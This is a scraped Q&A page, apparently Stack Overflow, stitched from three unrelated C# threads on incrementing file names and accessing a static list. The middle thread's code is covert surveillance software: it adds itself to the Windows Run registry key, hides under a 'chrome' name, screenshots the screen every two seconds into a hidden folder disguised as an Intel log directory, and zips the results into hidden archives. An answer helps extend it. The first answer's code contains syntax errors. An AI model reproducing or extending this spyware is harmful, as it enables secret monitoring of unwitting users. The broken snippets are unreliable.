This question already has answers here:
C# File Naming Incremented Name 001++
(3 answers)
Automatically rename a file if it already exists in Windows way
(10 answers)
File name with prefix and number
(2 answers)
How to create consecutive named files
(1 answer)
Closed 2 years ago.
my serial port stream prints 10 lines of data and then pauses, right now I have it running on loop so when I close the stream my .txt files looks like this:
8205,17.51,150.45,-31.27,-170.05,27.01,160.82,20.90,140.70,9.04,160.07
8283,17.11,149.94,-28.36,-173.83,26.96,158.14,20.59,139.33,9.81,163.18
8360,16.83,149.43,-25.49,-177.23,26.93,155.32,20.23,137.91,10.31,165.87
8438,16.54,148.91,-22.70,179.71,26.95,152.43,19.87,136.46,10.55,168.05
8516,16.25,148.41,-20.05,176.97,27.03,149.46,19.53,134.96,10.62,169.77
8594,15.71,147.75,-17.63,174.62,26.95,146.57,19.11,133.39,10.54,171.02
8672,15.40,147.20,-15.38,172.53,26.92,143.51,18.69,131.79,10.40,172.02
8750,14.97,146.59,-13.37,170.74,27.12,140.25,18.25,130.16,10.22,172.67
8827,14.51,145.95,-11.67,169.22,27.06,137.08,17.78,128.44,10.06,173.09
8905,14.18,145.33,-10.20,168.01,27.04,133.74,17.29,126.68,9.92,173.41
10373,5.38,128.09,-4.03,163.82,12.60,58.36,3.28,81.27,9.29,173.94
10450,4.90,126.76,-4.03,163.87,11.06,58.47,2.17,77.95,9.32,173.97
10528,4.41,125.37,-4.04,163.89,11.26,58.00,0.99,74.50,9.29,173.94
10605,3.95,123.91,-4.03,163.87,11.21,58.24,-0.25,70.91,9.29,173.89
10683,3.51,122.40,-4.06,163.88,11.88,58.18,-1.56,67.21,9.28,173.87
10760,3.10,120.81,-4.05,163.88,11.69,58.15,-2.94,63.38,9.32,173.93
10838,2.65,119.18,-4.05,163.87,10.90,58.80,-4.43,59.36,9.34,173.95
10915,2.25,117.48,-4.07,163.90,10.59,58.80,-6.03,55.20,9.37,173.93
10992,1.84,115.70,-4.09,163.96,11.04,58.75,-7.78,50.88,9.39,173.95
11070,1.45,113.87,-4.08,163.97,11.54,58.72,-9.65,46.35,9.37,173.94
11147,1.40,113.60,-4.07,163.97,10.89,59.06,-11.14,43.04,9.38,173.98
11225,1.08,111.68,-4.11,164.01,11.78,58.57,-13.41,38.18,9.39,174.02
11302,0.72,109.66,-4.11,164.03,12.08,58.60,-15.97,33.17,9.37,174.00
11379,0.38,107.58,-4.11,164.01,11.28,59.05,-18.44,28.89,9.35,173.95
11457,0.11,105.39,-4.10,164.06,10.20,59.66,-18.48,29.09,9.37,174.00
11535,-0.16,103.13,-4.12,164.12,10.37,59.57,-18.00,29.31,9.41,173.98
11613,-0.38,100.75,-4.13,164.14,10.58,59.73,-18.61,29.05,9.41,174.04
.
.
.
.
.
.
What i'm trying to do is instead of appending in the same file. I'm trying to create a new file that's incremental in numbering.
for e.g txt01,txt02,txt03.....txtn.
can anyone help me with this
using UnityEngine;
using System;
using System.Collections;
using System.IO.Ports;
using System.IO;
public class ArduinoControl : MonoBehaviour
{
public string portName = "COM5";
public string receivedstring;
SerialPort arduino;
void Start()
{
arduino = new SerialPort(portName, 115200);
arduino.Open();
}
void Update()
{
if (arduino.IsOpen)
{
arduino.Write("s");
receivedstring = arduino.ReadLine();
WriteOutputToTextFile(receivedstring); // Write to csv here...
arduino.BaseStream.Flush();
}
}
static void WriteOutputToTextFile(string _data)
{
string FolderName = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); //set destination as your desktop
using (StreamWriter SW = new StreamWriter(FolderName + "\\test.txt", true)) //true makes it append to the file instead of overwrite
{
SW.WriteLine(_data);
SW.Close();
}
}
}
You can use this
void Start()
{
receivedstring= string.Empty;
arduino = new SerialPort(portName, 115200);
arduino.Open();
}
private static int counter;
static void WriteOutputToTextFile(string _data)
{
string FolderName = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); //set destination as your desktop
using (StreamWriter SW = new StreamWriter(${FolderName}\\test{counter}.txt", false))
{
SW.WriteLine(_data);
SW.Close();
}
counter++;
lineCount=0;
receivedstring= string.Empty;
}
private static int lineCount;
void Update()
{
if (arduino.IsOpen)
{
arduino.Write("s");
receivedstring += arduino.ReadLine() + "\r\n";
lineCont++;
If(lineCount >=10 && !string.IsNullOrEmpty (receivestring))
WriteOutputToTextFile(receivedstring); // Write to csv here...
arduino.BaseStream.Flush();
}
}
I have a program which takes the files from a specified folder every 2 hours and zips them into a zip file that then saves in another folder. As is, the code will create a zip file with the name "zip", but then when it goes to create a second zip file 2 hours later it won't be able to because a file with the name "zip" already exists. I would like to know how to make it so that the code sees that there is already a file named "zip" and names the new zip file "zip2" then "zip3", "zip4" so on and so forth. I know that this function is already in my code earlier on for the screenshots, but I didn't write that part of the code and am very confused as to how I can take it from that part and apply it to this part.
Thank you very much for all the help. Please ask me to clarify if you have any questions.
Here is my code:
using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;
using System.IO.Compression;
namespace chrome
{
static class Program
{
static void Main()
{
//-----this code will make your program to automatically execute as computer starts----
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
Assembly curAssembly = Assembly.GetExecutingAssembly();
key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
Console.WriteLine(curAssembly.GetName());
}
catch (Exception e)
{
Console.WriteLine("show1:" + e.Message);
}
//------------------
//------------screenshot loop takes screenshots after 1 min-----------
int n = 0;
while (n == 0)
{
try
{
OnTimedEvent();
Thread.Sleep(2000);
}
catch (Exception e)
{
Console.WriteLine("show2:" + e.Message);
}
//-------------------------
}
}// main body ends !
public static string st = "";
public static string date = "";
public static string month = "";
public static string year = "";
public static string time = "";
public static string hour = "";
public static string min = "";
public static string sec = "";
private static void OnTimedEvent()
{
st = DateTime.Today.Date.ToString();
time = DateTime.Now.TimeOfDay.ToString();
hour = DateTime.Now.Hour.ToString();
min = DateTime.Now.Minute.ToString();
sec = DateTime.Now.Second.ToString();
date = DateTime.Today.Day.ToString();
month = DateTime.Today.Month.ToString();
year = DateTime.Today.Year.ToString();
Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);
Bitmap memoryImage;
memoryImage = new Bitmap(1366, 768);
Size s = new Size(memoryImage.Width, memoryImage.Height);
// Create graphics
Graphics memoryGraphics = Graphics.FromImage(memoryImage);
// Copy data from screen
memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
string str = "";
//------------creating directory--------
if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
{
Console.WriteLine("directory exits");
}
else
{
Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
Console.WriteLine("new directory created");
}
//---------------------------------------
str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);
//------------
try
{
memoryImage.Save(str);
}
catch (Exception er)
{
Console.WriteLine("Sorry, there was an error: " + er.Message);
}
{
string startPath = #"c:\example\start";
string zipPath = #"c:\example\result.zip";
ZipFile.CreateFromDirectory(startPath, zipPath);
File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
}
}
}
}
I have modified inline to your code (from bottom of above excerpt):
try
{
memoryImage.Save(str);
}
catch (Exception er)
{
Console.WriteLine("Sorry, there was an error: " + er.Message);
}
{
string startPath = #"c:\example\start";
string zipPath = #"c:\example\result.zip";
// start of directory logic you need to calculate the number of existing files in the directory you are about to put the new zip
string[] filenames = Directory.GetFiles("path_to_your_directory_of_zip_files");
int count = filenames.Length;
if (count > 0)
zipPath = string.Format("c:\example\result_{0}.zip", count);
//End of new logic
// then do your saving using the new filename...
ZipFile.CreateFromDirectory(startPath, zipPath);
Looking at the code above, you are using Thread.Sleep to wait for a file to be produced. Can I suggest you look into FileSystemWatcher class which will tell you when files arrive, are deleted or modified etc. This will allow you to react in an asynchronous way instead of blocking your thread for a specified period which may or may not be long enough for things to be as you expect.
So I am working on a C# program that takes in a set of delimited text files within a directory and parses out the info within the files (i.e. the file path, file name, associated keywords). And this is what a sample file looks like...
C:\Documents and Settings\workspace\Extracted Items\image2.jpeg;image0;keyword1, keyword2, keyword3, keyword4
C:\Documents and Settings\workspace\Extracted Items\image3.jpeg;image1;keyword1, keyword2, keyword3, keyword4
C:\Documents and Settings\workspace\Extracted Items\image4.jpeg;image2;keyword1, keyword2, keyword3, keyword4
C:\Documents and Settings\workspace\Extracted Items\image5.jpeg;image3;keyword1, keyword2, keyword3, keyword4
Well I was given some code by my partner that does this, but I need to be able to access the list variable, that is populated within one of the methods. This is the code:
using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace ConsoleApp
{
public class FileIO
{
private static Boolean isTextFile;
private static Boolean debug;
private static int semiColonLoc1, semiColonLoc2, dblQuoteLoc1;
private static int lineLength, currentTagLength;
private static int numImages;
private static int numFiles;
public static List<Image> lImageSet;
/*
****************************************************
***** CHANGE THIS PATH TO YOUR PROPERTIES FILE *****
****************************************************
*/
private static readonly string propertiesFileDir = "C:/Documents and Settings/properties.properties";
public PropertyKeys getProperties(string propertiesFileDir, PropertyKeys aPropertyKeys)
{
string line;
string directoryKey = "extractedInfoDirectory";
string debugKey = "debug2";
string directory;
Boolean isDirectoryKey;
Boolean isDebugKey;
System.IO.StreamReader file = new System.IO.StreamReader(propertiesFileDir);
while ((line = file.ReadLine()) != null)
{
isDirectoryKey = false;
isDebugKey = false;
// If the current line is a certain length, checks the current line's key
if (line.Length > debugKey.Length)
{
isDebugKey = line.Substring(0, debugKey.Length).Equals(debugKey, StringComparison.Ordinal);
if (line.Length > directoryKey.Length)
{
isDirectoryKey = line.Substring(0, directoryKey.Length).Equals(directoryKey, StringComparison.Ordinal);
}
}
// Checks if the current line's key is the extractedInfoDirectory
if (isDirectoryKey)
{
directory = line.Substring(directoryKey.Length + 1);
aPropertyKeys.setExtractedInfoDir(directory);
}
// Checks if the current line's key is the debug2
else if (isDebugKey)
{
debug = Convert.ToBoolean(line.Substring(debugKey.Length + 1));
aPropertyKeys.setDebug(debug);
}
}
return aPropertyKeys;
}
public void loadFile()
{
string line;
string tempLine;
string fileToRead;
string fileRename;
string imagePath, imageName, imageTags, currentTag;
string extractedInfoDir;
string extension;
string textfile = "txt";
string[] filePaths;
PropertyKeys aPropertyKeys = new PropertyKeys();
// Finds extractedInfoDir and debug values
aPropertyKeys = getProperties(propertiesFileDir, aPropertyKeys);
extractedInfoDir = aPropertyKeys.getExtractedInfoDir();
debug = aPropertyKeys.getDebug();
// Finds all files in the extracted info directory
filePaths = Directory.GetFiles(extractedInfoDir);
numFiles = filePaths.Length;
// For each file in the directory...
for (int n = 0; n < numFiles; n++)
{
int k = filePaths[n].Length;
// Finds extension for the current file
extension = filePaths[n].Substring(k - 3);
// Checks if the current file is .txt
isTextFile = extension.Equals(textfile, StringComparison.Ordinal);
// Only reads file if it is .txt
if (isTextFile == true)
{
fileToRead = filePaths[n];
Console.WriteLine(fileToRead);
System.IO.StreamReader file = new System.IO.StreamReader(fileToRead);
// Reset variables and create a new lImageSet object
lImageSet = new List<Image>();
line = ""; tempLine = ""; imagePath = ""; imageName = ""; imageTags = ""; currentTag = "";
semiColonLoc1 = 0; semiColonLoc2 = 0; dblQuoteLoc1 = 0; lineLength = 0; currentTagLength = 0; numImages = 0;
while ((line = file.ReadLine()) != null)
{
// Creates a new Image object
Image image = new Image();
numImages++;
lineLength = line.Length;
// Finds the image path (first semicolon delimited field)
semiColonLoc1 = line.IndexOf(";");
imagePath = line.Substring(0, semiColonLoc1);
image.setPath(imagePath);
tempLine = line.Substring(semiColonLoc1 + 1);
// Finds the image name (second semicolon delimited field)
semiColonLoc2 = tempLine.IndexOf(";");
imageName = tempLine.Substring(0, semiColonLoc2);
image.setName(imageName);
tempLine = tempLine.Substring(semiColonLoc2 + 1);
// Finds the image tags (third semicolon delimited field)
imageTags = tempLine;
dblQuoteLoc1 = 0;
// Continues to gather tags until there are none left
while (dblQuoteLoc1 != -1)
{
dblQuoteLoc1 = imageTags.IndexOf("\"");
imageTags = imageTags.Substring(dblQuoteLoc1 + 1);
dblQuoteLoc1 = imageTags.IndexOf("\"");
if (dblQuoteLoc1 != -1)
{
// Finds the next image tag (double quote deliminated)
currentTag = imageTags.Substring(0, dblQuoteLoc1);
currentTagLength = currentTag.Length;
// Adds the tag to the current image
image.addTag(currentTag);
image.iNumTags++;
imageTags = imageTags.Substring(dblQuoteLoc1 + 1);
}
}
// Adds the image to the current image set
lImageSet.Add(image);
}
// Prints out information about what information has been stored
if (debug == true)
{
Console.WriteLine("Finished file " + (n + 1) + ": " + filePaths[n]);
for (int i = 0; i < numImages; i++)
{
Console.WriteLine();
Console.WriteLine("***Image " + (i + 1) + "***");
Console.WriteLine("Name: " + lImageSet.ElementAt(i).getName());
Console.WriteLine("Path: " + lImageSet.ElementAt(i).getPath());
Console.WriteLine("Tags: ");
for (int j = 0; j < lImageSet.ElementAt(i).iNumTags; j++)
{
Console.WriteLine(lImageSet.ElementAt(i).lTags.ElementAt(j));
}
}
}
file.Close();
// Changes destination file extension to .tmp
fileRename = fileToRead.Substring(0, fileToRead.Length - 4);
fileRename += ".tmp";
// Changes file extension to .tmp
System.IO.File.Move(fileToRead, fileRename);
}
// Not a text file
else
{
Console.WriteLine("Skipping file (no .txt extension)");
}
}
Console.ReadLine();
}
}
}
However, I don't want to mess with his code too much as he is not here for the time being to fix anything. So I just want to know how to access lImageSet from within his code in another class of mine. I was hoping it would be something like instantiating FileIO with FileIO fo = new FileIO, then doing something like fo.loadFile().lImageSet but that's not the case. Any ideas?
Since lImageSet is static, all you need to do to access it is:
List<image> theList = FileIO.lImageSet;
No instantiated object is necessary to get a reference to that field.
The list is static, so you access it with the name of the class:
List<Image> theList = FileIO.lImageSet
The loadFile method returns void, so you cannot use the dot operator to access anything from it. You'll want to do something like this:
FileIO fo = new FileIO();
fo.loadFile();
List<Image> theImages = FileIO.lImageSet;
It's public -- so from your class, you can just access it as:
FileIO.lImageSet
To get to the values in it, just iterate over it as:
//from FishBasketGordo's answer - load up the fo object
FileIO fo = new FileIO();
fo.loadFile();
foreach(var img in FileIO.lImageSet) {
//do something with each img item in lImageSet here...
}
EDIT: I built upon FishBasketGordo's answer by incorporating his loadFile() call into my sample.
Because lImageSet is static, so you don't need to instantiate FileIO to get it.
Try FileIO.lImageSet